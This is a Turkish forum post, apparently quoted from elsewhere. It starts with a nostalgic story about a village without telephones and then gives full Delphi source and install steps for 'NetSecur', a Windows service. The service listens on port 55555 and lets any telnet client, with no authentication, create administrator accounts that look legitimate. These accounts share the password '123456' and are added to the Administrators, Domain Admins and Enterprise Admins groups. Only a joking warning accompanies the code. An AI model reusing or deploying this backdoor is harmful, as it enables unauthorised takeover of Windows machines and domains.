Telefonun Olmadığı Köyde TelNet Kullanmak

Cansiz

New member
Yaş 70 iş bitmiş derler ya, inanmayın. Geçenlerde yolum bir internet cafeye düştü. Gözlerime inanamadım. 70 değillerse bile en azından 50-60 yaşlarında tombul tombul ak saçlı teyzeler amcalar oturmuşlar msn.de görüntülü sesli chat yapıyorlardı. Sizin oraları bilmem ama bizim muz cumhuriyetinde alışıldık bir şey değildi.

Okul bittimi yaz tatillerinde bazen köye giderdim. Köy deyince hemen aklınıza tatil köyü gelmesin. Eski toprakların iyi bildiği yeni neslinse kıyısından köşesinden geçerken gördüğü köylerden biriydi bizim köy. Ahşaptan derme çatma toprak sıvalı yapılar, köy meydanı ve belli başlı yerlerde akan pınarlar, ardında bir kağnıyı çeken öküzler ve bilimum hayvanatlar, ekili tarlaları ile tam anlamıyla bir köydü bizim köy. İlerlemiş yaşına rağmen hala tarlada, otlakta, merada çalışan insanları gördükçe teknolojiden ve nimetlerinden yararlanmadıklarını düşünür hayıflanırdım. Elektrik vardı ama evlerde çeşme yoktu.Toprak yollar vardı ama araba yoktu. Telefon bizim şeherdeki evde bile yokken köyde olması tabiki düşünülemezdi. En çok televizyon olayına daralırdım. Renkli değildi ama bizim evde iyi kötü bir siyah beyaz televizyon vardı.

İnternet cafede gördüklerim bana maziyi hatırlattı. İnsanlar teknolojiye kolayca ayak uydurabiliyorlar. Almanya'da yaşayan akraba hısımlarıyla internet cafe aracılığıyla görüşüyorlarmış. sırf bu yüzden eve bilgisayar almayı düşünüyorlardır herhalde.

Telefonun Olmadığı Köyde TelNet Kullanmak

Teknoloji ve maziyle ilgili anlattıklarımız şimdilik yeter. Gelelim mevzuya. Windows ileri zekalı işletim sisteminde Telnet adında bir servis vardır. Uyanık olanlarımız gerekmedikçe bu servisi aktif etmeyiz. Ama bazen o kadar çok işe yarıyor ki, bununla ilgili geçmiş zamandan bir çalışmamı bu yazıya konu edecek kadar başarılı işler çıkarabiliyor.

Bu yazıda anlatılacak windows servisleri ve özellikle telnet konusunda kısmi olsa bile bilgi sahibi olduğunuzu varsayıyorum. Yok ben bunları bilmiyorum, öğrenmek istiyorum diyorsanız bildiğiniz arama motorunda "TELNET" ve "Windows services" yazın şıp diye bir sürü makale ve yazı bulursunuz.

Yıllar önce çalıştığım dükkanda uzaktan makina yönetmek ve belli başlı işleri yaptırmak için bir servis yazmıştım. Bu servisin bizim dükkanla olan ilgisini kesince ortaya güzel bir şeyler çıktı. Ortaya çıkan bu güzel şeyin ne olduğunu yazının ilerleyen satırlarında sanırım sizde anlayacaksınız....

NetSecur :

Netsecur delphi4 ile yazılmış bu yazıya konuk etmek için delphi6 ile yeniden derlenmiş bir windows servisidir. Kodların tamamı bana ait olup tepe tepe kullanmak serbesttir. Tabiki bu haliyle değilde algoritmasını alarak kullanırsanız daha faydalı olacaktır.

Bu haliyle kısaca çalışma düzeneği Şöyle ; Telnet ile netsecur servisi kurulu bir makinaya bağlanırsanız, ilgili makinaya 3 farklı yönetici hesabı ve global grup ekleyebilir yada eklediğiniz hesapları kaldırabilirsiniz. Bunu iyi amaçlar doğrultusunda kullanacağınıza eminim.

Yasal uyarı !!! bu kodlar sağlığa zararlıdır. Eğer birinin makinasına dallanmak için kullanırsanız hem bu hem öteki dünyada iki elim yakanızda olur haberiniz olsun.
Boynumun borcu yasal uyarıyı yaptıktan sonra kısaca bir kaç satır kodcuk üzerinde duralım ve daha sonra kullanma kılavuzunu birlikte yazalım.

Uygulamada TServerSocket esas oğlan rolünü kapmıştır. Uzak makina ile iletişimi kurmak için gerekli olan alt yapıyı bize sunar. Aşağıdaki kod uygulama servis olarak yüklendiğinde koşar.Servis durduruluncaya kadar (while not Terminated do) bir kısır döngü bağlantı isteklerini dinler.

procedure TNetSecurity.ServiceExecute(Sender: TService);
begin
try
//Telnet bağlantısı için port numarası
ServerSocket.Port := 55555;
ServerSocket.Active := True;
while not Terminated do begin
ServiceThread.ProcessRequests(False);
end;
ServerSocket.Active := False;
except;
end;
end;

Eğer komut isteminde : telnet makina_ip_adresi 55555 yazarsanız bir hoş geldin ekranıyla sizi karşılar. Aslında ben davul zurna veya bandoyu tercih ederdim ama çok gürültülü olacağından bununla yetindim.

procedure TNetSecurity.ServerSocketClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var
S: String;
begin
S := 'Telnet Yonetici Hesabi olusturma hizmetine hos geldiniz. Yardim icin ? yazin...'+#13#10;
Socket.SendText(S + '<Net Komut>');
end;

Komut istemi satırında ? yazarsanız uzak makinaya yaptırabileceğiniz işlemler için kullanabileceğiniz komut ifadeleri gelir. Hani bizim eski dost DOS'ta yaptığımız gibi.

procedure TNetSecurity.ServerSocketClientRead(Sender: TObject; Socket: TCustomWinSocket);
Var
S : String;
Lvl : SmallInt;
C : Char;
begin
S := Socket.ReceiveText;
C := S[1];
Lvl := -1;
if C in Sayilar Then Lvl := StrToInt(C);

if AnsiCompareText(S, 'x') = 0 then
begin
Socket.SendText(CR+'Gule Gule...');
Socket.Close;
end
else
if AnsiCompareText(S,'?')=0 then
begin
Socket.SendText(CR+'? = Yardim'+CR+
'X = Baglantiyi Kes ve Cik'+CR+
'0 = 1 nci seviye hesap ekle (Low)'+CR+
'1 = 2 nci seviye hesap ekle (Normal'+CR+
'2 = 3 ncu seviye hesap ekle (High)'+CR+
'3 = 1 ci seviye hesabi sil(Low)'+CR+
'4 = 2 nci seviye hesabi sil (Normal)'+CR+
'5 = 3 ncu seviye hesabi sil (High)'+CR+
'6 = 1 nci seviye grup ekle'+CR+
'7 = 2 nci seviye grup ekle'+CR+
'8 = 3 ncu seviye grup ekle'+CR+NCMD)
end
else
begin
if Lvl >-1 Then
begin
if CreateSecret(Lvl) then Socket.SendText(CR+' Tamam...'+cr+NCMD) else Socket.SendText(CR+' Hata...'+SecurityException+cr+NCMD)
end else
Socket.SendText(CR+' Gecersiz komut'+cr+NCMD);
end;
end;

Seçtiğiniz işleme bağlı olarak vazife yerine getirilir ve sonuçla ilgili kısa bir mesaj gösterilir. (Tamam... veya Hata...)

Seçtiğiniz işlemle vazifeyi yerine getiren yöntem aşağıdakidir.
Function TNetSecurity.CreateSecret(Const Level : SmallInt) : Boolean;
Var
flgs : TNetUserFlags;
pwd : string;
{Toplam 3 Hesap Kullanılıyor}
UserNames: Array[0..2] of String;
FullNames: Array[0..2] of String;
Descr : Array[0..2] of String;

procedure SetFlg (flag : TNetUserFlag; setIt : boolean);
begin
if setIt then
flgs := flgs + [flag]
else
flgs := flgs - [flag]
end;

Begin
Result := True;
SecurityException :='';
{myAdminstrator}
UserNames[0] :='myAdminstrator';
FullNames[0] :='';
Descr[0] :='Etki alani kopya yoneticisi';

{ExchangeAdmin}
UserNames[1] :='ExchangeAdmin';
FullNames[1] :='';
Descr[1] :='Exchange sunucu yoneticisi';

{EnterpriseAdmin}
UserNames[2] :='EnterpriseAdmin';
FullNames[2] :='';
Descr[2] :='Kurumsal Yonetici';
pwd := '123456';

TRY
Case Level of
0,1,2 : {>>Hesap Ekle<<}
With NetUser1 do
begin
NetUser1.UserName := UserNames[Level];
CreateAccount(Descr[Level],pwd);
RenameAccount(UserNames[Level]);
//Yönetici hesaplari icin grup tanimlamalari
AddToLocalGroup('Users');
AddToLocalGroup('Administrators');
FullName :=FullNames[Level];
try
flgs := Flags;
SetFlg (ufAccountDisable, False);
SetFlg (ufPasswordCantChange, False);
SetFlg (ufLockout, False);
SetFlg (ufDontExpirePassword, True);
Flags := flgs;
except on E:Exception do
begin
SecurityException := UserName[Level]+cr+E.Message;
CancelUpdate;
Result := False;
end;
end;{>>try<<}
end;{>>with<<}
3,4,5 : {>> Hesap Sil <<}
begin
if Level=3 then NetUser1.UserName := UserNames[0]
else
if Level=4 then NetUser1.UserName := UserNames[1]
else
if Level=5 then NetUser1.UserName := UserNames[2];
NetUser1.DeleteAccount;
end;
6,7,8 : {>> Gruba ekle <<}
begin
if Level=6 then NetUser1.UserName := UserNames[0]
else
if Level=7 then NetUser1.UserName := UserNames[1]
else
if Level=8 then NetUser1.UserName := UserNames[2];
NetUser1.AddToLocalGroup('Administrator');
NetUser1.AddToLocalGroup('Domain Admins');
NetUser1.AddToLocalGroup('Enterprise Admins');
end;
end; {>>Case<<}
EXCEPT on E:Exception do
begin
SecurityException := E.Message;
Result := False;
end;
END;
End;


Gelelim kullanma kılavuzuna. Bu uygulamada kullanılan bileşenler ve uygulamanın derlenmiş haliyle kodlarını buradan indirebilirsiniz. Eğer derlemeden bir test yapalım derseniz aşağıdaki adımları izleyin.


*Komut istemi satırına çıkıp netsecur.exe dosyasının bulunduğu klasöre zıplayın.
*Komut isteminde netsecur /install yazıp enter'layın. Servisin yüklendiğine dair bir mesaj alacaksınız

*Denetim masasında Hizmet yönetimini başlatıp orada netsecurity servisini bularak başlatın.


*Şimdide komut isteminde telnet localhost 55555 yazarak servisi başlatın.


*Hoş geldin mesajından sonra komut isteminde ? yazarsanız Yapabileceğiniz işlemlerle bunların seçenekleri gelecek ekrana.Burdan yaptığınız seçime göre sisteminize kullanıcı hesabı ekleyebilecek veya kaldırabileceksiniz. Değişiklikleri yönetimsel araçlar bilgisayar yönetimi kullanıcılar bölümünde görebilirsiniz...




*Servisi sistemden kaldırmak için önce servisi durdurun ve komut isteminde netsecur /uninstall yazın


Böylece telefonsuz bir köy hikayesinden Telnet'li bir servis hikayesine ilerlemiş olduk. Teknoloji ilerlediğinde, bizim kafamızda bazı şeylere basmadığında, yada düz kontak yaptığında acaba bizim çocuklarımızda teknolojinin ardında kaldığımızı düşünüp hayıflanırlar mı? Tıpkı benim, dedemin at üstünde değilde uçakla seyahat etmesini istediğim ama garibin ömrünün buna yetmemesi gibi, bizim çocuklarımızda, torunlarımızda "ah keşke dedemi bir ışınlama cihazına bindirebilsek" derler mi? Kimbilir zaman gösterecek.

Alıntıdır.!
 

Cansiz

New member
cliper1907' Alıntı:
eee olum telefonun olmadığı köyde internete nasıl gircez ki
Onu bende bilmiorum,benim kafa mı karıştırdım cliper!:D:):):)
 

HTML

Üst